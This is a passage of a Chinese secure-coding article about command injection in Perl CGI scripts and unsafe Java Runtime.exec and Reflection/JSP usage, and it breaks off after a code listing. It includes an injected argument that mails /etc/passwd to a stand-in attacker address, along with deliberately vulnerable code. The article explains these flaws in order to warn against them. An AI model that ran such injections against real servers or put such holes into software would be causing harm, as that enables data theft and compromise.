四、字符串解釋執行
在有些編程語言中,輸入字符串中可以插入特殊的函數,欺騙服務器使其執行額外的、多余的動作。下面的Perl代碼就是一個例子:
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");
顯然,這些代碼可以作為CGI程序的一部分,或者也可以從命令行調用。通常,它可以
按照如下方式調用:
perl script.pl honest@true.com
它將把一個郵件(即“mail body”)發送給用戶honest@true.com。這個例子雖然簡單,但我們卻可以按照如下方式進行攻擊:
perl script.pl honest@true.com;mail cheat@liarandthief.com < /etc/passwd
這個命令把一個空白郵件發送給honest@true.com,同時又把系統密碼文件發送給了
cheat@liarandthief.com。如果這些代碼是CGI程序的一部分,它會給服務器的安全帶來重大的威脅。
Perl程序員常常用外部程序(比如sendmail)擴充Perl的功能,以避免用腳本來實現外部程序的功能。然而,Java有著相當完善的API。比如對于郵件發送,JavaMail API就是一個很好的API。但是,如果你比較懶惰,想用外部的郵件發送程序發送郵件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
事實上這是行不通的。Java一般不允許把OS級“<”和“;”之類的構造符號作為
Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
但是,這種代碼是不安全的,它把前面Perl代碼面臨的危險帶入了Java程序。按照常規的Java方法解決問題有時看起來要比取巧的方法復雜一點,但它幾乎總是具有更好的可移植性、可擴展性,而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例子,其他許多情形更復雜、更隱蔽。
讓我們來考慮一下Java的映像 API(Reflection API)。Java映像API允許我們在運行時決定調用對象的哪一個方法。任何由用戶輸入命令作為映像查找條件的時機都可能成為系統的安全弱點。例如,下面的代碼就有可能產生這類問題:
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});
如果“action”的值允許用戶改變,這里就應該特別注意了。注意,這種現象可能會在一些令人奇怪的地方出現——或許最令人奇怪的地方就是JSP。大多數JSP引擎用映像API實現下面的功能:
這個Bean的set方法應該特別注意,因為所有這些方法都可以被遠程用戶調用。例如,對于Listing 3的Bean和Listing 4的JSP頁面:
(Listing 3)
public class Example{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;
}
文章來源于領測軟件測試網 http://www.kjueaiud.com/